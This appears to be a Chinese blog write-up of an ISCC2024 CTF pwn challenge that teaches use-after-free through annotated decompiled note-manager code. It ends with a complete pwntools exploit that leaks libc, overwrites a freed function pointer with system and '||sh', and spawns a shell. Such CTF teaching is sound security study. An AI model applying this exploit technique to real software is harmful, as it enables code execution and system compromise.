一道题学uaf漏洞
uaf
写的还是有些简略,可参考好好说话之Use After Free-CSDN博客。十分的详细
题目来自iscc2024-iscc——u
查看保护
代码分析
菜单栏
int menu()
{
puts("----------------------");
puts(aWelcomeToIscc);
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("What's your choice :");
}
add note函数
int __cdecl print_note_content(int a1)
{
return puts(*(a1 + 4));
}
unsigned int add_note()
{
int v0; // esi
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(¬elist + i) )
{
*(¬elist + i) = malloc(8u); //全局变量数组notelist,我们暂且把它存放的堆称作a堆
if ( !*(¬elist + i) )
{
puts("Alloca Error");
exit(-1);
}
**(¬elist + i) = print_note_content; //以函数名出现,没带括号()表示 **(¬elist + i)存放了print_note_content函数的地址,此函数功能是打印a堆content部分加4字节的内容堆块中的内容。有点绕见图解。
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *(¬elist + i);
*(v0 + 4) = malloc(size);
if ( !*(*(¬elist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(*(¬elist + i) + 4), size);//将此堆块暂且称为内容堆块
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
正常堆块结构(也就是内容堆块的结构)
a堆块结构
delete note(先释放内容堆块,再释放a堆块,并且没有将堆指针归0,存在uaf漏洞)
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + v1) )
{
free(*(*(¬elist + v1) + 4));
free(*(¬elist + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
print_note()
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(¬elist + v1) )
(**(¬elist + v1))(*(¬elist + v1));//将**(¬elist + v1)上地址作为函数调用,*(¬elist + v1)做参数
return __readgsdword(0x14u) ^ v3;
}
exp(把system换为one_gadget理应能出,但我这边环境问题不行。)
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./WEEK2-pwn2_ISCC_U"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
#p = remote(')
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def choice(idx):
sla("What's your choice :",str(idx))
def add(size,content):
choice(1)
sa('Note size :',str(size))
sa('Content :',content)
def delete(idx):
choice(2)
sa('Index :',str(idx))
#print("删掉chunk%d" % idx)
def show(idx):
choice(3)
sa('Index :',str(idx))
def exit():
choice(4)
#首先利用unsortbin泄露libc
add(0x500,b'a')
add(0x28,b'a') #原因避免下一步free后堆和top chunk合并导致在unsortedbin中找不到堆块
delete(0)
add(0x500,b'a') #一定要申请回来,保证下一步打印的时候fd指针存放的是打印函数的地址,如果在tcach中fd就是0了。
show(0)
base=u32(rc(4))-0x39-libc.sym['__malloc_hook']
print("base:"+hex(base))
sys=base+libc.sym['system']
print('system:'+hex(sys))
delete(0)
delete(1)
add(0x8,p32(sys)+b'||sh') #下标为1的a堆存放下标为0的a堆为内容堆
#add(0x8, p32(sys) + b'||sh') #在执行show函数时,调用前4个字节,也就是system,参数是note
#,也就是’217464f17c7c7368’,其中7c7c7368是’||sh’,由于system函数的特性,会执行前面的217464f1,执行失败后,发现后面有’||',于是继续执行sh,相当于执行了system(‘sh’),成功获取shell权限
# debug()
show(0)
it()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?